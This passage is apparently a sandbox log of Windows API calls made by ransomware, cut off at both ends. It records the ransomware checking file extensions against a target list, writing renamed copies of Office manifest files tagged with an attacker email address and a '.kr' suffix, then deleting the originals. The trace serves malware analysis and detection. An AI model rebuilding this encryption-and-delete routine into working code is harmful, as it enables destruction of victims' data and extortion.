(lpString1=".dbf", lpString2=".xml") returned -1 [0101.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0101.229] lstrlenW (lpString=".1cd") returned 4 [0101.229] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0101.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0101.229] lstrlenW (lpString=".jpg") returned 4 [0101.230] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0101.230] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0101.230] lstrlenW (lpString="AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 53 [0101.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0101.230] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=14913) returned 1 [0101.230] CloseHandle (hObject=0x36c) returned 1 [0101.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml")) returned 0x220 [0101.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0101.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0101.231] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0101.231] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0101.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0101.231] GetLastError () returned 0x0 [0101.231] ReadFile (in: hFile=0x36c, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x3a41, lpOverlapped=0x0) returned 1 [0101.612] WriteFile (in: hFile=0x390, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x3a50, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x3a50, lpOverlapped=0x0) returned 1 [0101.614] ReadFile (in: hFile=0x36c, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0101.614] WriteFile (in: hFile=0x390, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x13e, lpOverlapped=0x0) returned 1 [0101.614] SetEndOfFile (hFile=0x390) returned 1 [0101.759] CloseHandle (hObject=0x390) returned 1 [0101.760] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0101.761] SetEndOfFile (hFile=0x36c) returned 1 [0101.763] CloseHandle (hObject=0x36c) returned 1 [0101.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0101.764] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml")) returned 1 [0101.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0101.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0101.767] lstrlenW (lpString=".doc") returned 4 [0101.767] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0101.767] lstrlenW (lpString=".docx") returned 5 [0101.767] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0101.767] lstrlenW (lpString=".pdf") returned 4 [0101.767] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0101.767] lstrlenW (lpString=".xls") returned 4 [0101.767] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0101.767] lstrlenW (lpString=".xlsx") returned 5 [0101.767] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0101.767] lstrlenW (lpString=".ppt") returned 4 [0101.767] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0101.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0101.767] lstrlenW (lpString=".zip") returned 4 [0101.767] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0101.767] lstrlenW (lpString=".rar") returned 4 [0101.767] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0101.767] lstrlenW (lpString=".bz2") returned 4 [0101.767] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0101.767] lstrlenW (lpString=".7z") returned 3 [0101.767] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0101.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0101.767] lstrlenW (lpString=".dbf") returned 4 [0101.767] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0101.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0101.768] lstrlenW (lpString=".1cd") returned 4 [0101.768] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0101.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0101.768] lstrlenW (lpString=".jpg") returned 4 [0101.768] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0101.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0101.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0101.768] lstrlenW (lpString=".doc") returned 4 [0101.768] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0101.768] lstrlenW (lpString=".docx") returned 5 [0101.768] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0101.768] lstrlenW (lpString=".pdf") returned 4 [0101.768] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0101.768] lstrlenW (lpString=".xls") returned 4 [0101.768] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0101.768] lstrlenW (lpString=".xlsx") returned 5 [0101.768] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0101.768] lstrlenW (lpString=".ppt") returned 4 [0101.768] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0102.394] lstrlenW (lpString=".zip") returned 4 [0102.394] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.394] lstrlenW (lpString=".rar") returned 4 [0102.394] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.394] lstrlenW (lpString=".bz2") returned 4 [0102.394] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.394] lstrlenW (lpString=".7z") returned 3 [0102.394] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0102.394] lstrlenW (lpString=".dbf") returned 4 [0102.394] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0102.394] lstrlenW (lpString=".1cd") returned 4 [0102.394] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0102.395] lstrlenW (lpString=".jpg") returned 4 [0102.395] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.395] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0102.395] lstrlenW (lpString="AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 53 [0102.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0102.402] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=1261) returned 1 [0102.402] CloseHandle (hObject=0x36c) returned 1 [0102.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0102.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0102.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0102.402] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0102.402] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0102.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0102.403] GetLastError () returned 0x0 [0102.403] ReadFile (in: hFile=0x36c, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x4ed, lpOverlapped=0x0) returned 1 [0102.405] WriteFile (in: hFile=0x390, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x4f0, lpOverlapped=0x0) returned 1 [0102.406] ReadFile (in: hFile=0x36c, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0102.406] WriteFile (in: hFile=0x390, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x13e, lpOverlapped=0x0) returned 1 [0102.406] SetEndOfFile (hFile=0x390) returned 1 [0102.406] CloseHandle (hObject=0x390) returned 1 [0102.407] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0102.407] SetEndOfFile (hFile=0x36c) returned 1 [0102.408] CloseHandle (hObject=0x36c) returned 1 [0102.408] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0102.409] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml")) returned 1 [0102.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0102.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0102.409] lstrlenW (lpString=".doc") returned 4 [0102.409] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.409] lstrlenW (lpString=".docx") returned 5 [0102.409] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0102.409] lstrlenW (lpString=".pdf") returned 4 [0102.409] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.409] lstrlenW (lpString=".xls") returned 4 [0102.409] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.409] lstrlenW (lpString=".xlsx") returned 5 [0102.410] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0102.410] lstrlenW (lpString=".ppt") returned 4 [0102.410] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0102.410] lstrlenW (lpString=".zip") returned 4 [0102.410] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.410] lstrlenW (lpString=".rar") returned 4 [0102.410] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.410] lstrlenW (lpString=".bz2") returned 4 [0102.410] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.410] lstrlenW (lpString=".7z") returned 3 [0102.410] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0102.410] lstrlenW (lpString=".dbf") returned 4 [0102.410] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0102.410] lstrlenW (lpString=".1cd") returned 4 [0102.410] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0102.410] lstrlenW (lpString=".jpg") returned 4 [0102.410] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0102.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0102.410] lstrlenW (lpString=".doc") returned 4 [0102.411] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.411] lstrlenW (lpString=".docx") returned 5 [0102.411] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0102.411] lstrlenW (lpString=".pdf") returned 4 [0102.411] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.411] lstrlenW (lpString=".xls") returned 4 [0102.411] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.412] lstrlenW (lpString=".xlsx") returned 5 [0102.412] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0102.412] lstrlenW (lpString=".ppt") returned 4 [0102.412] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0102.412] lstrlenW (lpString=".zip") returned 4 [0102.412] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.412] lstrlenW (lpString=".rar") returned 4 [0102.412] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.412] lstrlenW (lpString=".bz2") returned 4 [0102.412] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.412] lstrlenW (lpString=".7z") returned 3 [0102.412] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0102.412] lstrlenW (lpString=".dbf") returned 4 [0102.412] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0102.412] lstrlenW (lpString=".1cd") returned 4 [0102.412] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0102.412] lstrlenW (lpString=".jpg") returned 4 [0102.413] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.413] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0102.413] lstrlenW (lpString="AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 53 [0102.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0102.413] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=1450) returned 1 [0102.413] CloseHandle (hObject=0x36c) returned 1 [0102.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0102.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0102.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0102.414] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0102.414] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0102.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0102.415] GetLastError () returned 0x0 [0102.415] ReadFile (in: hFile=0x36c, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x5aa, lpOverlapped=0x0) returned 1 [0102.416] WriteFile (in: hFile=0x390, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x5b0, lpOverlapped=0x0) returned 1 [0102.417] ReadFile (in: hFile=0x36c, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0102.417] WriteFile (in: hFile=0x390, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x13e, lpOverlapped=0x0) returned 1 [0102.418] SetEndOfFile (hFile=0x390) returned 1 [0102.418] CloseHandle (hObject=0x390) returned 1 [0102.419] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0102.419] SetEndOfFile (hFile=0x36c) returned 1 [0102.420] CloseHandle (hObject=0x36c) returned 1 [0102.420] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0102.420] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml")) returned 1 [0102.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0102.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0102.421] lstrlenW (lpString=".doc") returned 4 [0102.421] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.421] lstrlenW (lpString=".docx") returned 5 [0102.421] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0102.421] lstrlenW (lpString=".pdf") returned 4 [0102.421] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.421] lstrlenW (lpString=".xls") returned 4 [0102.421] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.421] lstrlenW (lpString=".xlsx") returned 5 [0102.421] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0102.421] lstrlenW (lpString=".ppt") returned 4 [0102.421] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0102.421] lstrlenW (lpString=".zip") returned 4 [0102.421] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.421] lstrlenW (lpString=".rar") returned 4 [0102.421] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.421] lstrlenW (lpString=".bz2") returned 4 [0102.422] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.422] lstrlenW (lpString=".7z") returned 3 [0102.422] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0102.422] lstrlenW (lpString=".dbf") returned 4 [0102.422] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0102.422] lstrlenW (lpString=".1cd") returned 4 [0102.422] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0102.422] lstrlenW (lpString=".jpg") returned 4 [0102.422] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0102.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0102.422] lstrlenW (lpString=".doc") returned 4 [0102.422] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.422] lstrlenW (lpString=".docx") returned 5 [0102.422] lstrcmpiW (lpString1=".docx", lpString2="E.xml") 